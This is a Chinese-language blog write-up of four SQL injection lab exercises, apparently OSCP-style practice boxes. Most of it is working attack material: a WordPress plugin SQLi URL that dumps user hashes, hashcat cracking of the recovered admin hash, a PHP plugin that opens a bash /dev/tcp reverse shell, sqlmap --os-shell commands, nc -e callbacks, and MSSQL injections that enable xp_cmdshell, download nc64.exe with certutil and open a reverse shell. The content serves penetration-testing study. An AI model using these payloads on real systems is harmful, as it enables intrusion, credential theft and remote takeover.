SQL Injection 練習

 SQL Injection 練習

練習 1 :

靶機 IP : 192.168.218.47(花了太多時間解,IP 有換過)

攻擊端 IP : 192.168.45.187

第一步 rustscan,22/80 Port 看來是台 Linux Web Server



80 Port 網頁呈現一個網域 alvida-eatery.org


當中也提到請你去訪問這個網站



那就改一下 hosts 將網域名稱 alvida-eatery.org 指向靶機,成功開啟如下

看來目標應該在此網站,網站上相關欄位測試過第一輪沒有發現 SQL Injection

真的不行再來測試 command injection



whatweb 下去看一下,是個 WordPress 網站



看到 WordPress 第一步就是 wpscan 下去,指令 └─$ wpscan --url http://alvida-eatery.org/ -e u

u 表示列舉使用者,結果如下圖,比較有用的資訊先記錄下面兩個
 - WordPress theme in use : oceanwp 版本是 3.3.2
 - User 只有一個 admin 帳號




Google 一下 wordpress oceanwp exploit 3.3.2 如下圖前幾名看來沒有漏洞,看來不像是要利用這個佈景主題的漏洞,加上這個練習是 SQL Injection,所以暫時先放旁邊,其他方向不行再來看


回頭繼續 wpscan 看看,其中一個顯示可以 POST only



有個 /wp-content/uploads/ 可以列舉,該不會要每個目錄給他點一下收集資訊吧

爬了一下看來是文章的貼圖,暫時沒啥有用的資訊



逛了一下網站看來可以在文章留言,跟著留言測試了一下成功

通常有 POST 的地方就有貓膩




回頭到 wpscan 有列舉出使用者 admin,那就 rockyou 一下試試看

進階 wpscan 指令與參數

 -U : 已知 admin 帳號就直接指定用 admin 當作帳號來破解

 -P : 指定的密碼檔

 --rua : 等於 --random-user-agent 就是隨機使用 Agent

 -e : 預設沒輸入都會帶入,就是列舉的方式

不知道時都可以 man 一下看看參數應用 man wpscan



這一次打算使用的指令如下,網路上分享如下這個極度耗時有時間再試試看

└─$ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://alvida-eatery.org/ -U admin -P /usr/share/wordlists/rockyou.txt

改用 john 跑試試比較快速,沒有得到結果

└─$ wpscan --url http://alvida-eatery.org/ -U admin -P /usr/share/wordlists/john.lst

    



 只好開啟 wpscan 網站拿一下 API Token 用一下較進階的 wpscan 手法了

簡單講就是有了 API Token 就可以直接將漏洞直接列出在 wpscan 顯示介面 



改用以下參數執行 wpscan

└─$ wpscan --url http://alvida-eatery.org/ -e vp --api-token [TOKEN]

可以看到掃完相關套件會一併列舉該版本的可利用漏洞與參考

本練習是 SQL Injection 所以將目標放在 SQLi 字眼上可以發現下面這個

PS : 其實還有其他幾個但最後答案是這個

 | [!] Title: Perfect Survey < 1.5.2 - Unauthenticated SQL Injection
 |     Fixed in: 1.5.2
 |     References:
 |      - https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24762



開啟提供的 wpscan 網站的連結,可以看到直接提供 POC

https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad 

POC 如下

(The question_id must start with an existing post ID) 
https://example.com/wp-admin/admin-ajax.php?action=get_question&question_id=1%20union%20select%201%2C1%2Cchar(116%2C101%2C120%2C116)%2Cuser_login%2Cuser_pass%2C0%2C0%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%20from%20wp_users 



將網址換成我們要打的網站 http://alvida-eatery.org/,調整如下

http://alvida-eatery.org/wp-admin/admin-ajax.php?action=get_question&question_id=1%20union%20select%201%2C1%2Cchar(116%2C101%2C120%2C116)%2Cuser_login%2Cuser_pass%2C0%2C0%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%20from%20wp_users 

注入發現有回應如下圖



送到 Burp Suite 查看比較方便,透過關鍵字搜尋,例如 password、admin 等

發現一串很特別的字串 [ "$P$BINTaLa8QLMqeXbQtzT2Qfizm2P\/nI0\" ]

看起來就是一串 HASH,長度總共 36 碼,與平時認知的 32 碼 MD5 不同




上 hashcat 查查看,網址 https://hashcat.net/wiki/doku.php?id=example_hashes

用 wordpress 關鍵字尋找如下可以看到 mode 是 400 且範例長得很像,那就沒錯了




SQL Injection 漏洞利用拿到的 HASH 跟網站上的 HASH 範例比較一下看看

 - $P$BINTaLa8QLMqeXbQtzT2Qfizm2P\/nI0\   -->  36 碼

 - $P$984478476IagS59wHZvyQMArzfx58u.   --> 34 碼

多了 2 碼,開頭都是 $P$,所以問題不是在開頭而是在結尾,看來當中的 \ 是多餘的

實際上 HASH 值應該是 34 碼 : [ $P$BINTaLa8QLMqeXbQtzT2Qfizm2P/nI0 ]

得到實際 HASH 值後就直接用 hashcat 解碼看看

指令 └─$ sudo hashcat -a 0 -m 400 '$P$BINTaLa8QLMqeXbQtzT2Qfizm2P/nI0' /usr/share/wordlists/rockyou.txt 

-a 指定要使用的破解模式,其值參考後面對參數。“-a 0”字典攻擊,“-a 1” 組合攻擊;“-a 3”掩碼攻擊。

-m 指定要破解的hash類型,如果不指定類型,則默認是MD5,這裡我們知道直接用 400


整個跑完預計要一個小時多,實際跑了 3 分 21 秒就比對到了




拿到 admin 的密碼了 "hulabaloo",立馬來給他登入試試看



過了.......



那就直接安插 Reverse Shell Plugin 套件吧,直接上傳一個 wordpress.php.zip



該檔案 wordpress.php 內容如下,就是建立遠端的 Remote Shell

上傳前記得包成 zip 檔案,指令 └─$ zip -r wordpress.php.zip wordpress.php

======================================================================

<?php


/**

 * Plugin Name: Reverse Shell Plugin

 * Plugin URI:

 * Description: Reverse Shell Plugin

 * Version: 1.0

 * Author: Aries Hsu

 * Author URI: https://your-it-note.blogspot.com/

 */


exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.187/4444 0>&1'");

?>

======================================================================


上傳後且安裝成功




記得要去啟用該套件




一啟用後 Reverse Shell 就進來了




依據關鍵點就是要找 flag.txt 那就直接 find 最快

指令 find / -type f -name flag.txt 2>/dev/null,找到 flag.txt 直接 cat 一下拿答案吧,結束







練習 2 :

靶機 IP : 192.168.187.48

攻擊端 IP : 192.168.45.187

rustscan 後確認 22、80、3306、33060



80 網頁底下看來有個訂閱的欄位




隨便送出一個值 name@test.com





轉到 Burp Suite 另存新檔 post.txt




不用廢話,直接 sqlmap 下去,這種就是先測試塞檔案

指令 └─$ sqlmap -r post.txt -p mail-list --os-shell --web-root "/var/www/html/tmp"

看來就是個注入點,直接塞入 php


結果 GG, 無法寫入



換個路徑再測試一次

指令 └─$ sqlmap -r post.txt -p mail-list  --os-shell  --web-root "/var/www/html"    

這次成功了,直接拿到 shell 了


UNION 透過 Order by 測試可以知道六個欄位,透過 Burp Suite 塞入測試




網頁也可成功直接透過 Quert String 下命令了



拿反向 shell 操作還是最方便的,linux 最愛指令 

bash -c "bash -i >& /dev/tcp/192.168.45.187/4444 0>&1"

URL Encode 一下

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.187%2F4444%200%3E%261%22

網址列直接送出, 4444 進來了

http://192.168.187.48/webshell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.187%2F4444%200%3E%261%22




切到根目錄,find flag.txt 發現是個隱藏檔,一樣 cat 一下拿到答案








練習 3 :

靶機 IP : 192.168.187.49

攻擊端 IP : 192.168.45.187

rustscan 後確認 22、80、5432




一樣有個郵件訂閱欄位,點了沒任何反應看來是個沒用的欄位



另外某網址看到可以輸入許多欄位,那就一一測試看看吧



測試到後面欄位 Height(CM) 的 UNION 測試在 ORDER 6 時沒反應




ORDER 7 的時候跳錯誤訊息,所以可以非常確定 6 個欄位




直接 sqlmap 進去

└─$ sqlmap -r post.txt -p height --os-shell  --web-root "/var/www/html/tmp"




從 OS-Shell 去連線 remote shell 指令 nc -e /bin/bash 192.168.45.187 4444

Reverse shell 小抄 

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md



4444 進來了



fund 找到檔案後 cat 拿答案






練習 3 :

靶機 IP : 192.168.187.50

攻擊端 IP : 192.168.45.187

rustscan 後確認 80、135、139、445、etc(RPC)....

看來是台 Windows MSSQL



一樣先開網頁逛一逛,是個 COVID 網站,下方有個輸入欄位,測試後沒用




另外有個 Login 網頁




帳號欄位輸入 admin' OR 1=1 -- // 測試,結果顯示無效的 cerdentials

看來帳號欄位無法注入



sqlmap 掃下去看來帳號欄位是個漏洞,繼續測試看看



結果拿到 shell 了,不過這個 shell 都是無回應看來沒用,要改想法直接注入




sqlmap 給的 Injection 為 "admin' WAITFOR DELAY '0:0:5'--"

Time-Base 語法等注入可以參考此網站

https://github.com/payloadbox/sql-injection-payload-list

也已經知道欄位是使用者帳號欄位,所以改成直接注入的攻擊方式

讓我們先開啟 xp_cmdshell,輸入前面所學,在使用者欄位直接注入下面四行指令

';EXECUTE sp_configure 'show advanced options', 1;WAITFOR DELAY '0:0:5'--

';EXECUTE sp_configure RECONFIGURE; WAITFOR DELAY '0:0:5'--

';EXECUTE sp_configure 'xp_cmdshell', 1;WAITFOR DELAY '0:0:5'--

';EXECUTE sp_configure RECONFIGURE; WAITFOR DELAY '0:0:5'--

如此一來就打開了 xp_cmdshell


接著讓我們上傳 payload,這裡使用 Windows 的 certutil 指令並搭配 nc64.exe

指令 ';EXEC xp_cmdshell "certutil -urlcache -f http://192.168.45.228:80/nc64.exe C:\users\Public\nc64.exe" ; WAITFOR DELAY '0:0:5'--

可以看到過來下載攻擊機端透過 Web Server 準備好的 nc64.exe




最後一樣透過 xp_cmdshell 去啟動 reverse shell 讓靶機來連線攻擊機的 4444 Listen,注入指令

';EXEC xp_cmdshell "C:\users\Public\nc64.exe 192.168.45.228 4444 -e cmd" ; WAITFOR DELAY '0:0:5'--

4444 Port 進來了, dir /s 搜尋一下 flag.txt 拿答案吧




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)